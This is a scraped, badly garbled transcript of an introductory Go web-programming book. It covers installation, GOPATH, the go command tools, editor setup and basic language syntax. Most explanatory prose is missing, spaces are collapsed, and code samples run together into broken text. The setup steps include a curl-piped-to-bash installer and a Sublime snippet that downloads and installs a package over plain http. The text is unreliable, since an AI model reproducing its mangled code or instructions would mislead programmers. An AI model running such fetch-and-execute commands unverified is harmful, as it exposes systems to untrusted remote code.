1.1. go - erguotou · apt-get ubuntulinux apt-get go git mercurial sudo apt-get install...

413
1.Go 1.1. Go 1.2. GOPATH 1.3. Go 1.4. Go 1.5. 2.Go 2.1. Go 2.2. Go 2.3. 2.4. struct 2.5. 2.6. interface 2.7. 2.8. 3.Web 3.1 web 3.2 Goweb 3.3 Goweb 3.4 Gohttp 3.5 4. 4.1 4.2 4.3 4.4 4.5 4.6 5. 5.1 database/sql 5.2 MySQL 5.3 SQLite

Upload: others

Post on 25-May-2020

188 views

Category:

Documents


0 download

TRANSCRIPT

1.Go1.1.Go1.2.GOPATH1.3.Go1.4.Go1.5.

2.Go2.1.Go2.2.Go2.3.2.4.struct2.5.2.6.interface2.7.2.8.

3.Web3.1web3.2Goweb3.3Goweb3.4Gohttp3.5

4.4.14.24.34.44.54.6

5.5.1database/sql5.2MySQL5.3SQLite

5.4PostgreSQL5.5beedbORM5.6NOSQL5.7

6.session6.1sessioncookie6.2Gosession6.3session6.4session6.5

7.7.1XML7.2JSON7.37.47.57.67.7

8.Web8.1Socket8.2WebSocket8.3REST8.4RPC8.5

9.9.1CSRF9.29.3XSS9.4SQL9.59.6/9.7

10.10.110.210.310.4

11.11.111.2GDB11.3Go11.4

12.12.112.212.312.412.5

13.Web13.113.213.3controller13.413.5//13.6

14.Web14.114.2Session14.314.414.514.6pprof14.7

A

1GOGo

Go

GoGoincludeCGoGoGo

GoGo

Go

links

: Go

1.1Go

3

Go3

UnixGoWindows,Linux,Macbit"Next"Ubuntuapt-getMachomebrew

Go GVM

Go

GoPlan9CAT&TC

MacXcode

UnixgccUbuntu sudoapt-getinstallgcclibc6-dev

WindowsMinGWMinGWgcc

goVERSION.src.tar.gz $HOME

cdgo/src./all.bash

all.bash"ALLTESTSPASSED"

UnixWindows all.batMinGWgcc

MacUnix .bashrc.zsh

exportGOPATH=$HOME/gopathexportPATH=$PATH:$HOME/go/bin:$GOPATH/bin

bash.bashrcbash.zshrc

Windowspathgogopath

go

1.1Go

GoUsageGoPATHGo

GOPATH

Go

Go/usr/local/goWindowsc:\Go

exportGOROOT=$HOME/goexportGOPATH=$HOME/gopathexportPATH=$PATH:$GOROOT/bin:$GOPATH/bin

MacUnix .bashrc.zshrcWindows

32bit 64bit

Gobit

WindowsWin+Rcmd systeminfo"""x64-basedPC"64bit"X86-basedPC"32bit

Mac64bitGoMacOSX32bit

LinuxTerminal arch( uname-a)

64bit

x86_64

32bit

i386

Mac

URL 32bitgo1.4.2.darwin-386-osx10.8.pkg64bitgo1.4.2.darwin-amd64-osx10.8.pkggoPATH

goUsagegoPATHgo

Linux

URL 32bitgo1.4.2.linux-386.tar.gz64bitgo1.2.2.linux-amd64.tar.gz

Go $GO_INSTALL_DIR

tar.gz tarzxvfgo1.4.2.linux-amd64.tar.gz-C$GO_INSTALL_DIR

PATH exportPATH=$PATH:$GO_INSTALL_DIR/go/bin

go

1.2Linuxgo

goUsagegoPATHgo

Windows

GoogleCode 32bitwindows-386msi64bitwindows-amd64C:\Go\GoPathGobin C:\Go\bin\Go C:\Go\GOROOT

cmd goUsage cd%GOROOT%Go

PathGOROOT

GVM

gvmGorubyrvmgvm

bash<<(curl-s-S-Lhttps://raw.github.com/moovweb/gvm/master/binscripts/gvm-installer)

go

gvminstallgo1.4.2gvmusego1.4.2

gvmuse gvmusego1.4.2--default

GOPATHGOROOT

apt-get

UbuntuLinux apt-getGo gitmercurial

sudoapt-getinstallpython-software-propertiessudoadd-apt-repositoryppa:gophers/gosudoapt-getupdatesudoapt-getinstallgolang-stablegit-coremercurial

homebrew

homebrewMacGoGo gitmercurial

brewupdate&&brewupgradebrewinstallgobrewinstallgit

brewinstallmercurial

links

: Go: GOPATH

1.2GOPATHGoGOPATHGo1.1GoGoGosrcbinpkg

GOPATH

go$GOPATH 1

Windows %GOPATH%UnixWindows

GoGOPATH

Unix

exportGOPATH=/home/apple/mygo

.bashrc.zshrcsh

WindowsGOPATH

GOPATH=c:\mygo

GOPATHWindowsLinuxGOPATHgoget

$GOPATH

src.go.c.h.spkg.abin$PATHgopath ${GOPATH//://bin:}/binbin

mygogopath

GOPATHsrc$GOPATH/src/mymathmymathpackagemainmainpackage

srcsrc$GOPATH/src/github.com/astaxie/beedb"github.com/astaxie/beedb"beedb

mymath

cd$GOPATH/srcmkdirmymath

sqrt.go

//$GOPATH/src/mymath/sqrt.gopackagemymath

funcSqrt(xfloat64)float64{z:=0.0fori:=0;i<1000;i++{z-=(z*z-x)/(2*x)}returnz}

package

/

1 goinstall

2 goinstallmymath

cd$GOPATH/pkg/${GOOS}_${GOARCH}//mymath.a

.a

mathapp

cd$GOPATH/srcmkdirmathappcdmathappvimmain.go

$GOPATH/src/mathapp/main.go

packagemain

import("mymath""fmt")

funcmain(){fmt.Printf("Hello,world.Sqrt(2)=%v\n",mymath.Sqrt(2))}

mainimport mymath $GOPATH/srcimportGOPATHGo $GOPATH/src

gobuildmathapp

./mathapp

Hello,world.Sqrt(2)=1.414213562373095

goinstall$GOPATH/bin/mathapp $GOPATH/binPATH

mathapp

Hello,world.Sqrt(2)=1.414213562373095

/

go gogetgogetgithubgooglecodebitbucketLaunchpad

gogetgithub.com/astaxie/beedb

goget-ugoget

githubgitgooglecodehg

$GOPATHsrc|--github.com|-astaxie|-beedbpkg|--|-github.com|--astaxie|beedb.a

gogetsrcclone goinstall

import

import"github.com/astaxie/beedb"

mygo

bin/mathapppkg//darwin_amd64linux_amd64mymath.agithub.com/

astaxie/beedb.asrc/mathappmain.gomymath/sqrt.gogithub.com/astaxie/beedb/beedb.goutil.go

binpkgsrc

links

: GO: GO

1.3Go

Go

Go go

1.3Go

gobuild

1.2 mypath gobuild $GOPATH/pkg goinstall

main gobuild $GOPATH/bin goinstall gobuild-o/a.exe

gobuild gobuilda.go gobuildgo

1.2 mathapp gobuild-oastaxie.exepackagemainmain

package Go"package"

gobuild"_""."go

array_linux.goarray_darwin.goarray_windows.goarray_freebsd.go

gobuildLinuxDarwinWindowsFreebsd

-o gobuild-oa/b/c

-i+ goinstall

-a-n-pnCPU-race64bit-v-work-x -n

-ccflags'arglist'5c,6c,8c-compilernamegccgogc-gccgoflags'arglist'gccgo-gcflags'arglist'5g,6g,8g-installsuffixsuffix -race -installsuffixrace -n

-ldflags'flaglist'5l,6l,8l-tags'taglist'tagtag BuildConstraints

goclean

_obj/objectMakeFiles_test/testMakefiles_testmain.gogotestMakefilestest.outtestMakefilesbuild.outtestMakefiles*.[568ao]objectMakefiles

DIR(.exe)gobuildDIR.test(.exe)gotest-cMAINFILE(.exe)gobuildMAINFILE.go*.soSWIG

$goclean-i-ncd/Users/astaxie/develop/gopath/src/mathapprm-fmathappmathapp.exemathapp.testmathapp.test.exeappapp.exerm-f/Users/astaxie/develop/gopath/bin/mathapp

-igoinstall-n-rimport-x -n

gofmt

C/C++K&RANSIgoANSIgogogofmt gofmt gofmt

gofmtgofmt-wgofmt-w-lsrc

gofmtgofmt gofmt

gofmt

-l-w-r“a[b:len(a)]->a[b:]”-s-ddifffalse-e10-cpuprofilecpufile

goget

BitBucketGitHubGoogleCodeLaunchpad212 goinstallgo

BitBucket(MercurialGit)GitHub(Git)GoogleCodeProjectHosting(Git,Mercurial,Subversion)Launchpad(Bazaar)

gogetPATH goget gohelpremote

-d-f-u -uimportfork-fixfix

-t-u-v

goinstall

21a2

gobuild -v

gotest

*_test.go/

okarchive/tar0.011sFAILarchive/zip0.022sokcompress/gzip0.033s...

test

-benchregexpbenchmarks -bench=.

-cover-runregexpregexp -run=ArrayArray-v

gotool

gotoolfixvet

gotoolfix.go1go1API

gotoolvetdirectory|filesfmt.Printfreturn

gogenerate

Go1.4 gogenerategobuild gogenerate

yacc

gotoolyacc-ogopher.go-pparsergopher.y

-o-p gogenerate xxx.go

//go:generategotoolyacc-ogopher.go-pparsergopher.y

//go:generate

gopher.y gogenerate

$gogenerate$gobuild$gotest

godoc

Go1.2 godocgodoc gogetgolang.org/x/tools/cmd/godoc

gochm chm

package builtin godocbuiltinnet/http godocfmtPrintf

godoc-http=: godoc-http=:8080 127.0.0.1:8080copypkgGOPATHpkg

go

goversion gogoenv gogolistpackagegorunGo

gohelp

links

: GOPATH: Go

1.4Gofmt

LiteIDE

LiteIDEGo(IDE)visualfc

1.4LiteIDE

LiteIDE

WindowsLinuxMacOSX

GoGoGo

GoGOPATHGOPATH

GOPATHGo

Gocode()GoApi

F1

F2

Gdbgofmt

Kate

Markdown

CSSHTMLPDFHTML/PDF

LiteIDE

LiteIDE

http://sourceforge.net/projects/liteide/files/>

https://github.com/visualfc/liteide

GoLiteIDE

LiteIDE

Windows 64bitGowin64 `` LiteIDEwin64. env

GOROOT=c:\goGOBIN=GOARCH=amd64GOOS=windowsCGO_ENABLED=1

PATH=%GOBIN%;%GOROOT%\bin;%PATH%

`GOROOT=c:\go`GoMinGW64`c:\MinGW64\bin`PATHgogccCGO

Linux 64bitGolinux64 `` LiteIDElinux64. env

GOROOT=$HOME/goGOBIN=GOARCH=amd64GOOS=linuxCGO_ENABLED=1

PATH=$GOBIN:$GOROOT/bin:$PATH

`GOROOT=$HOME/go`Go

GOPATH

GoGOPATHGo(LiteIDE`Ctrl+,`)`gohelpgopath`GOPATH

LiteIDEGOPATH`--GOPATH`GOPATH

GOPATH

SublimeText

SublimeText2Sublime+GoSublime

1 .5sublime

Go

1.6sublime

SublimeText2

Sublime

SublimeSublime SublimeText2

1. PackageControlCtrl+`

importurllib2,os;pf='PackageControl.sublime-package';ipp=sublime.installed_packages_path();os.makedirs(ipp)ifnot

os.path.exists(ipp)elseNone;urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()));open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace('','%20')).read());print'PleaserestartSublimeTexttofinishinstallation'

SublimePackageControl

1.7sublime

1. SublimeGoSublime,SidebarEnhancementsGoBuildSublimeCtrl+Shift+pPackageControl pcip"PackageControl:InstallPackage"

1.8sublime

GoSublimeSidebarEnhancementsGoBuild

2. Sublimemain.go import import"fmt"fmt.

$PATHgocode $PATH(XP)sublimesublimetext3convertutf8

3. MacOS$GOROOT,$GOPATH,$GOBIN

sublimecommand+9env$PATH,$GOROOT,$GOPATH,$GOBIN

Terminalsublime

ln-s/Applications/Sublime\Text\2.app/Contents/SharedSupport/bin/subl/usr/local/bin/sublime

Vim

Vimvi

1.9VIMGo

1. vim

cp-r$GOROOT/misc/vim/*~/.vim/

2. ~/.vimrc

filetypepluginindentonsyntaxon

3. Gocode

goget-ugithub.com/nsf/gocode

gocode $GOPATH/bin

4. Gocode

~cd$GOPATH/src/github.com/nsf/gocode/vim~./update.bash~gocodesetpropose-builtinstruepropose-builtinstrue~gocodesetlib-path"/home/border/gocode/pkg/linux_amd64"lib-path"/home/border/gocode/pkg/linux_amd64"~gocodesetpropose-builtinstruelib-path"/home/border/gocode/pkg/linux_amd64"

gocodeset

propose-builtinsGofalse

lib-path:gocode $GOPATH/pkg/$GOOS_$GOARCH$GOROOT/pkg/$GOOS_$GOARCHlib

1. :emain.goGo

VIM

Emacs

Emacs

1.10EmacsGo

1. Emacs

cp$GOROOT/misc/emacs/*~/.emacs.d/

2. Gocode

goget-ugithub.com/nsf/gocode

gocode`$GOBIN`

3. Gocode

~cd$GOPATH/src/github.com/nsf/gocode/emacs~cpgo-autocomplete.el~/.emacs.d/~gocodesetpropose-builtinstruepropose-builtinstrue~gocodesetlib-path"/home/border/gocode/pkg/linux_amd64"//

lib-path"/home/border/gocode/pkg/linux_amd64"~gocodesetpropose-builtinstruelib-path"/home/border/gocode/pkg/linux_amd64"

1. AutoCompletion

AutoComplete

~makeinstallDIR=$HOME/.emacs.d/auto-complete

~/.emacs

;;auto-complete(require'auto-complete-config)(add-to-list'ac-dictionary-directories"~/.emacs.d/auto-complete/ac-dict")(ac-config-default)(local-set-key(kbd"M-/")'semantic-complete-analyze-inline)(local-set-key"."'semantic-complete-self-insert)(local-set-key">"'semantic-complete-self-insert)

http://www.emacswiki.org/emacs/AutoComplete

2. .emacs

;;golangmode(require'go-mode-load)(require'go-autocomplete);;speedbar;;(speedbar1)(speedbar-add-supported-extension".go")(add-hook'go-mode-hook'(lambda();;gocode(auto-complete-mode1)(setqac-sources'(ac-source-go));;Imenu&Speedbar

(setqimenu-generic-expression'(("type""^type*\\([^\t\n\r\f]*\\)"1)("func""^func*\\(.*\\){"1)))(imenu-add-to-menubar"Index");;Outlinemode(make-local-variable'outline-regexp)(setqoutline-regexp"//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....")(outline-minor-mode1)(local-set-key"\M-a"'outline-previous-visible-heading)(local-set-key"\M-e"'outline-next-visible-heading);;Menubar(require'easymenu)(defconstgo-hooked-menu'("Gotools"["Gorunbuffer"got]["Goreformatbuffer"go-fmt-buffert]["Gocheckbuffer"go-fix-buffert]))(easy-menu-definego-added-menu(current-local-map)"Gotools"go-hooked-menu)

;;Other(setqshow-trailing-whitespacet)));;helperfunction(defungo()"runcurrentbuffer"(interactive)(compile(concat"gorun"(buffer-file-name))))

;;helperfunction(defungo-fmt-buffer()"rungofmtoncurrentbuffer"(interactive)(ifbuffer-read-only(progn(ding)(message"Bufferisreadonly"))(let((p(line-number-at-pos))(filename(buffer-file-name))(old-max-mini-window-heightmax-mini-window-height))(show-all)(if(get-buffer"*GoReformatErrors*")

(progn(delete-windows-on"*GoReformatErrors*")(kill-buffer"*GoReformatErrors*")))(setqmax-mini-window-height1)(if(=0(shell-command-on-region(point-min)(point-max)"gofmt""*GoReformatOutput*"nil"*GoReformatErrors*"t))(progn(erase-buffer)(insert-buffer-substring"*GoReformatOutput*")(goto-char(point-min))(forward-line(1-p)))(with-current-buffer"*GoReformatErrors*"(progn(goto-char(point-min))(while(re-search-forward"<standardinput>"nilt)(replace-matchfilename))(goto-char(point-min))(compilation-mode))))(setqmax-mini-window-heightold-max-mini-window-height)(delete-windows-on"*GoReformatOutput*")(kill-buffer"*GoReformatOutput*"))));;helperfunction(defungo-fix-buffer()"rungofixoncurrentbuffer"(interactive)(show-all)(shell-command-on-region(point-min)(point-max)"gotoolfix-diff"))

3. Gospeedbar;;(speedbar1) M-xspeedbar

Eclipse

EclipseEclipseGo

1.11EclipseGo

1. Eclipse

2. goclipse

http://code.google.com/p/goclipse/wiki/InstallationInstructions

3. gocodego

gocodegithub

https://github.com/nsf/gocode

windowsgit[ msysgit](https://code.google.com/p/msysgit/)

cmd

goget-ugithub.com/nsf/gocode

gobuildgocode.exe

4. MinGW

5.

Windows->Reference->Go

(1).Go

1.12Go

(2).GocodeGocodegocode.exe

1.13gocode

(3).GDBGDBMingGWgdb.exe

1.14GDB

1.

gohello. go

1.15

console

1 .16Go

IntelliJIDEA

Javaideaideago

1. ideaideawin,mac,linuxGo

2. GoFileSettingPluginsBrowserrepo

3. GolangdownloadandinstallgolangDownloadedOK

ApplyIDE

4. golang

gosdkC:\GoLinuxmac

links

: Go:

1.5GoGo3 $GOPATH $GOPATHGoGoGoGoLiteIDEsublimeVIMEmacsEclipseIdeaGo

links

: Go: Go

2GoGoC25

breakdefaultfuncinterfaceselectcasedefergomapstructchanelsegotopackageswitchconstfallthroughifrangetypecontinueforimportreturnvar

GoGo25

links

:: Go

2.1 GoGo

helloworld

Let'sGo!

packagemain

import"fmt"

funcmain(){fmt.Printf("Hello,worldor�����orκαλημρακóσμor��������\n")}

Hello,worldor orκαλημρακóσμor

Go package

package<pkgName> packagemain1 mainmain *.a $GOPATH/pkg/$GOOS_$GOARCHMac

$GOPATH/pkg/darwin_amd64

Gopackagemain main main

Hello,world... Printf fmt3 fmt import"fmt"

Pythonpackage

5 funcmain {}()CC++Java

main0

6 fmt Printf <pkgName>.<funcName>Python

<pkgName> package<pkgName>

ASCIIGoUTF-8UTF-8

GopackagePython main.main()GoUTF-8UTF-8Go

links

: Go: Go

2.2GoGoGo

Go

varGoCGo

//"variableName" "type"varvariableNametype

//"type"3varvname1,vname2,vname3type

//"variableName" "value" "type"varvariableNametype=value

/* "type"vname1v1vname2v2vname3v3*/varvname1,vname2,vname3type=v1,v2,v3

Go

/*3vname1v1vname2v2vname3v3Go*/varvname1,vname2,vname3=v1,v2,v3

/*3vname1v1vname2v2vname3v3*/vname1,vname2,vname3:=v1,v2,v3

:=vartype var

_ 35b 34

_,b:=34,35

Go i

packagemain

funcmain(){variint}

bool

constconstantName=value//constPifloat32=3.1415926

constPi=3.1415926consti=10000constMaxThread=10constprefix="astaxie_"

Go(200)float3232bitfloat6464bit

Boolean

Goboolbool truefalse false

//varisActivebool//varenabled,disabled=true,false//functest(){varavailablebool//valid:=false//available=true//}

Go intuintGobit rune,int8,int16,int32,int64byte,uint8,uint16,uint32,uint64 runeint32

byteuint8

invalidoperation:a+b(mismatchedtypesint8andint32)

varaint8

varbint32

c:=a+b

int32bitintint32

float32float64float float64

No!Go complex12864bit+64bit complex6432bit+32bitRE+IMi RE IM i

varccomplex64=5+5i//output:(5+5i)fmt.Printf("Valueis:%v",c)

Go UTF-8( "") string

//varfrenchHellostring//varemptyStringstring=""//functest(){no,yes,maybe:="no","yes","maybe"//japaneseHello:="Konichiwa"//frenchHello="Bonjour"//}

Gocannotassigntos[0]

varsstring="hello"s[0]='c'

s:="hello"c:=[]byte(s)//s[]bytec[0]='c's2:=string(c)//stringfmt.Printf("%s\n",s2)

Go+

s:="hello,"m:="world"a:=s+mfmt.Printf("%s\n",a)

s:="hello"s="c"+s[1:]//

fmt.Printf("%s\n",s)

m:=`helloworld`

Raw

helloworld

GoerrorGo package errors

err:=errors.New("emitmachodwarf:elfheadercorrupted")iferr!=nil{fmt.Print(err)}

Go

RussCoxBlogGo

2.1Go

Go

import"fmt"import"os"

consti=100constpi=3.1415constprefix="Go_"

variintvarpifloat32varprefixstring

import("fmt""os")

const(i=100pi=3.1415prefix="Go_")

var(iintpifloat32prefixstring)

iota

Goiota enum01

const(x=iota//x==0y=iota//y==1z=iota//z==2w//w=iotaw==3yz"=iota"

)

constv=iota//constiotav==0

const(e,f,g=iota,iota,iota//e=0,f=0,g=0iota)

iota const0 iota iota

Go

Go

classpublic private

array slice map

array

array

vararr[n]type

[n]type n type []

vararr[10]int//intarr[0]=42//0arr[1]=13//fmt.Printf("Thefirstelementis%d\n",arr[0])//42

fmt.Printf("Thelastelementis%d\n",arr[9])//0

[3]int[4]int slice

:=

a:=[3]int{1,2,3}//3int

b:=[10]int{1,2,3}//10int31230

c:=[...]int{4,5,6}//`...`Go

Go

//4intdoubleArray:=[2][4]int{[4]int{1,2,3,4},[4]int{5,6,7,8}}

//easyArray:=[2][4]int{{1,2,3,4},{5,6,7,8}}

2.2

slice

""Go slice

slice slicearray slicearray

//arrayvarfslice[]int

slice

slice:=[]byte{'a','b','c','d'}

sliceslice slicearray[i:j] i j array[j] j-i

//10bytevarar=[10]byte{'a','b','c','d','e','f','g','h','i','j'}

//byteslicevara,b[]byte

//a35a=ar[2:5]//aar[2]ar[3]ar[4]

//barsliceb=ar[3:5]//bar[3]ar[4]

slice ... slice

2.3slicearray

slice

slice0 ar[:n]ar[0:n]

slice ar[n:]ar[n:len(ar)]

slice ar[:]0 ar[0:len(ar)]

slice

//vararray=[10]byte{'a','b','c','d','e','f','g','h','i','j'}//slicevaraSlice,bSlice[]byte

//aSlice=array[:3]//aSlice=array[0:3]aSlice:a,b,c

aSlice=array[5:]//aSlice=array[5:10]aSlice:f,g,h,i,j

aSlice=array[:]//aSlice=array[0:10]aSlice

//slicesliceaSlice=array[3:7]//aSlice:d,e,f,glen=4cap=7bSlice=aSlice[1:3]//bSliceaSlice[1],aSlice[2]:e,f

bSlice=aSlice[:3]//bSliceaSlice[0],aSlice[1],aSlice[2]:d,e,fbSlice=aSlice[0:5]//sliceslicecapbSliced,e,f,g,h

bSlice=aSlice[:]//bSliceaSlice:d,e,f,g

slice aSlicebSlice aSlice bSlice

slice3

slice

slice

slice

Array_a:=[10]byte{'a','b','c','d','e','f','g','h','i','j'}Slice_a:=Array_a[2:5]

2.4slice

slice

lenslicecapsliceappendslice sliceslice

copy copyslicesrcdst

appendslice slice slice (cap-len)==0 sliceslice

Go1.2slicesliceslicearrayslice

vararray[10]intslice:=array[2:4]

slice8

slice=array[2:4:7]

7-25slice3

slicearray[:i:j]0

map

mapPython map[keyType]valueType

mapslice key sliceindexint map intstring==!=

//keyintmake

varnumbersmap[string]int//mapnumbers:=make(map[string]int)numbers["one"]=1//numbers["ten"]=10//

numbers["three"]=3

fmt.Println(":" ,numbers["three"])////"3"

map key

map

map map index key

map slice

lenmap mapkey

map numbers["one"]=11keyone 11

mapthread-safego-routinemutexlock

mapkey:val mapkey

deletemap

//rating:=map[string]float32{"C":5,"Go":4.5,"Python":4.5,"C++":2}//mapkeyokfalseoktrue

csharpRating,ok:=rating["C#"]ifok{fmt.Println("C#isinthemapanditsratingis",csharpRating)}else{fmt.Println("WehavenoratingassociatedwithC#inthemap")}

delete(rating,"C")//keyC

map map

m:=make(map[string]string)m["Hello"]="Bonjour"

m1:=mm1["Hello"]="Salut"//m["hello"]Salut

make,new

makemapslicechannel new

new new(T)T *TGo T

new

make(T,args)new(T)make slicemapchannel T *Tarray slice slicenil slice,map,channel

make

make

newmake

2.5makenew

""""0

int0int80int320int640uint0x0rune0//runeint32byte0x0//byteuint8float320//4bytefloat640//8byteboolfalsestring""

links

: Go:

2.3Go

Go

if

if

Goif

ifx>10{fmt.Println("xisgreaterthan10")}else{fmt.Println("xislessthan10")}

Goif

//xx10ifx:=computedValue();x>10{fmt.Println("xisgreaterthan10")}else{fmt.Println("xislessthan10")}

//xfmt.Println(x)

ifinteger==3{fmt.Println("Theintegerisequalto3")}elseifinteger<3{fmt.Println("Theintegerislessthan3")}else{fmt.Println("Theintegerisgreaterthan3")}

goto

Gogoto-- goto

funcmyFunc(){i:=0Here://println(i)i++gotoHere//Here}

for

Go for while

forexpression1;expression2;expression3{//...}

expression1expression2expression3 expression1expression3expression2 expression1 expression3

packagemainimport"fmt"

funcmain(){sum:=0;forindex:=0;index<10;index++{sum+=index}fmt.Println("sumisequalto",sum)}//sumisequalto45

Go , i,j=i+1,j-1

expression1expression3

sum:=1for;sum<1000;{sum+=sum}

; while

sum:=1forsum<1000{sum+=sum}

breakcontinue break continue break

forindex:=10;index>0;index--{ifindex==5{break// continue}fmt.Println(index)}//break 109876

//continue 1098764321

breakcontinue

forrangeslicemap

fork,v:=rangemap{fmt.Println("map'skey:",k)fmt.Println("map'sval:",v)}

Go"""" _

for_,v:=rangemap{fmt.Println("map'sval:",v)}

switch

if-else switch

switchsExpr{caseexpr1:someinstructionscaseexpr2:someotherinstructionscaseexpr3:someotherinstructionsdefault:othercode}

sExprexpr1expr2expr3Go switch switch true

i:=10

switchi{case1:fmt.Println("iisequalto1")case2,3,4:fmt.Println("iisequalto2,3or4")case10:fmt.Println("iisequalto10")default:fmt.Println("AllIknowisthatiisaninteger")}

5 caseGo switch casebreakcase switchfallthroughcase

integer:=6switchinteger{case4:fmt.Println("Theintegerwas<=4")fallthroughcase5:fmt.Println("Theintegerwas<=5")fallthroughcase6:fmt.Println("Theintegerwas<=6")fallthroughcase7:fmt.Println("Theintegerwas<=7")fallthroughcase8:fmt.Println("Theintegerwas<=8")fallthroughdefault:fmt.Println("defaultcase")}

Theintegerwas<=6Theintegerwas<=7Theintegerwas<=8defaultcase

Go func

funcfuncName(input1type1,input2type2)(output1type1,output2type2){////returnvalue1,value2}

funcfuncName

,

output1output2

return

Max

packagemainimport"fmt"

//abfuncmax(a,bint)int{ifa>b{returna}returnb}

funcmain(){

x:=3y:=4z:=5

max_xy:=max(x,y)//max(x,y)max_xz:=max(x,z)//max(x,z)

fmt.Printf("max(%d,%d)=%d\n",x,y,max_xy)fmt.Printf("max(%d,%d)=%d\n",x,z,max_xz)fmt.Printf("max(%d,%d)=%d\n",y,z,max(y,z))//

}

max inta,bint,aint,bint

GoC

packagemainimport"fmt"

//A+BA*BfuncSumAndProduct(A,Bint)(int,int){returnA+B,A*B}

funcmain(){x:=3y:=4

xPLUSy,xTIMESy:=SumAndProduct(x,y)

fmt.Printf("%d+%d=%d\n",x,y,xPLUSy)fmt.Printf("%d*%d=%d\n",x,y,xTIMESy)}

funcSumAndProduct(A,Bint)(addint,Multipliedint){add=A+BMultiplied=A*Breturn}

Go

funcmyfunc(arg...int){}

arg...intGo int argintslice

for_,n:=rangearg{fmt.Printf("Andthenumberis:%d\n",n)}

packagemainimport"fmt"

//+1funcadd1(aint)int{a=a+1//areturna//}

funcmain(){x:=3

fmt.Println("x=",x)//"x=3"

x1:=add1(x)//add1(x)

fmt.Println("x+1=",x1)//"x+1=4"fmt.Println("x=",x)//"x=3"}

add1 add1a=a+1 x

add1 add1x x

x

add1x x x&x int*int x

packagemainimport"fmt"

//+1funcadd1(a*int)int{//*a=*a+1//areturn*a//}

funcmain(){x:=3

fmt.Println("x=",x)//"x=3"

x1:=add1(&x)//add1(&x)x

fmt.Println("x+1=",x1)//"x+1=4"fmt.Println("x=",x)//"x=4"}

x

8Gostringslicemap slice

defer

Go(defer)deferdefer

funcReadWrite()bool{file.Open("file")//iffailureX{file.Close()returnfalse}

iffailureY{file.Close()returnfalse}

file.Close()returntrue}

Go defer defer

funcReadWrite()bool{file.Open("file")deferfile.Close()iffailureX{returnfalse}iffailureY{returnfalse}returntrue}

defer deferLIFO 43210

fori:=0;i<5;i++{deferfmt.Printf("%d",i)}

Go type

typetypeNamefunc(input1inputType1,input2inputType2[,...])(result1resultType1[,...])

packagemainimport"fmt"

typetestIntfunc(int)bool//

funcisOdd(integerint)bool{ifinteger%2==0{returnfalse}returntrue}

funcisEven(integerint)bool{ifinteger%2==0{returntrue}returnfalse}

//

funcfilter(slice[]int,ftestInt)[]int{varresult[]intfor_,value:=rangeslice{

iff(value){result=append(result,value)}}returnresult}

funcmain(){slice:=[]int{1,2,3,4,5,7}fmt.Println("slice=",slice)odd:=filter(slice,isOdd)//fmt.Println("Oddelementsofsliceare:",odd)even:=filter(slice,isEven)//fmt.Println("Evenelementsofsliceare:",even)}

testInt filtertestInt

Panic Recover

GoJava panicrecover panic

Panic

Fpanic panicgoroutine panic

Recover

goroutine recover recover nil goroutinerecover panic

panic

varuser=os.Getenv("USER")

funcinit(){ifuser==""{panic("novaluefor$USER")}

}

panic

functhrowsPanic(ffunc())(bbool){deferfunc(){ifx:=recover();x!=nil{b=true}}()f()//ffpanicreturn}

maininit

Go init package mainpackagemain packageinitpackage init

Goinit()main() packageinit packagemainmain

main maininit main

2.6main

import

Goimport

import("fmt")

fmt.Println("helloworld")

fmtGo GOROOTGo

1.

import"./model"//modelimport

2.

import"shorturl/model"//gopath/src/shorturl/model

importimport

1.

import(."fmt")

fmt.Println("helloworld")Println("hello

world")

2.

import(f"fmt")

f.Println("helloworld")

3. _

import

import("database/sql"_"github.com/ziutek/mymysql/godrv")

_init

links

: Go: struct

2.4struct

struct

GoC person struct

typepersonstruct{namestringageint}

struct

stringnameintage

struct

typepersonstruct{namestringageint}

varPperson//Pperson

P.name="Astaxie"//"Astaxie"PnameP.age=25//"25"Pagefmt.Printf("Theperson'snameis%s",P.name)//Pname

P

1.

P:=person{"Tom",25}

2.field:value

P:=person{age:24,name:"Tom"}

3.newP*person

P:=new(person)

struct

packagemainimport"fmt"

//typepersonstruct{namestringageint}

////structfuncOlder(p1,p2person)(person,int){ifp1.age>p2.age{//p1p2returnp1,p1.age-p2.age}returnp2,p2.age-p1.age}

funcmain(){vartomperson

//tom.name,tom.age="Tom",18

//bob:=person{age:25,name:"Bob"}

//structpaul:=person{"Paul",43}

tb_Older,tb_diff:=Older(tom,bob)tp_Older,tp_diff:=Older(tom,paul)bp_Older,bp_diff:=Older(bob,paul)

fmt.Printf("Of%sand%s,%sisolderby%dyears\n",tom.name,bob.name,tb_Older.name,tb_diff)

fmt.Printf("Of%sand%s,%sisolderby%dyears\n",tom.name,paul.name,tp_Older.name,tp_diff)

fmt.Printf("Of%sand%s,%sisolderby%dyears\n",bob.name,paul.name,bp_Older.name,bp_diff)}

struct

structGo

structstructstruct

packagemainimport"fmt"

typeHumanstruct{namestringageintweightint}

typeStudentstruct{Human//StudentHumanspecialitystring}

funcmain(){//mark:=Student{Human{"Mark",25,120},"ComputerScience"}

//fmt.Println("Hisnameis",mark.name)fmt.Println("Hisageis",mark.age)fmt.Println("Hisweightis",mark.weight)fmt.Println("Hisspecialityis",mark.speciality)//mark.speciality="AI"fmt.Println("Markchangedhisspeciality")fmt.Println("Hisspecialityis",mark.speciality)//fmt.Println("Markbecomeold")mark.age=46

fmt.Println("Hisageis",mark.age)//fmt.Println("Markisnotanathletanymore")mark.weight+=60fmt.Println("Hisweightis",mark.weight)}

:

2.7StudentHuman

StudentagenamestudentHuman

mark.Human=Human{"Marcus",55,220}mark.Human.age-=1

struct

packagemainimport"fmt"

typeSkills[]string

typeHumanstruct{namestringageintweightint}

typeStudentstruct{Human//structSkills//stringsliceint//specialitystring}

funcmain(){//Jannjane:=Student{Human:Human{"Jane",35,100},speciality:"Biology"}//fmt.Println("Hernameis",jane.name)fmt.Println("Herageis",jane.age)fmt.Println("Herweightis",jane.weight)fmt.Println("Herspecialityis",jane.speciality)//skilljane.Skills=[]string{"anatomy"}fmt.Println("Herskillsare",jane.Skills)fmt.Println("Sheacquiredtwonewones")jane.Skills=append(jane.Skills,"physics","golang")fmt.Println("Herskillsnoware",jane.Skills)//jane.int=3fmt.Println("Herpreferrednumberis",jane.int)}

structstructappend

humanphonestudentphone

Go student.phonestudenthuman

packagemainimport"fmt"

typeHumanstruct{namestringageintphonestring//Human}

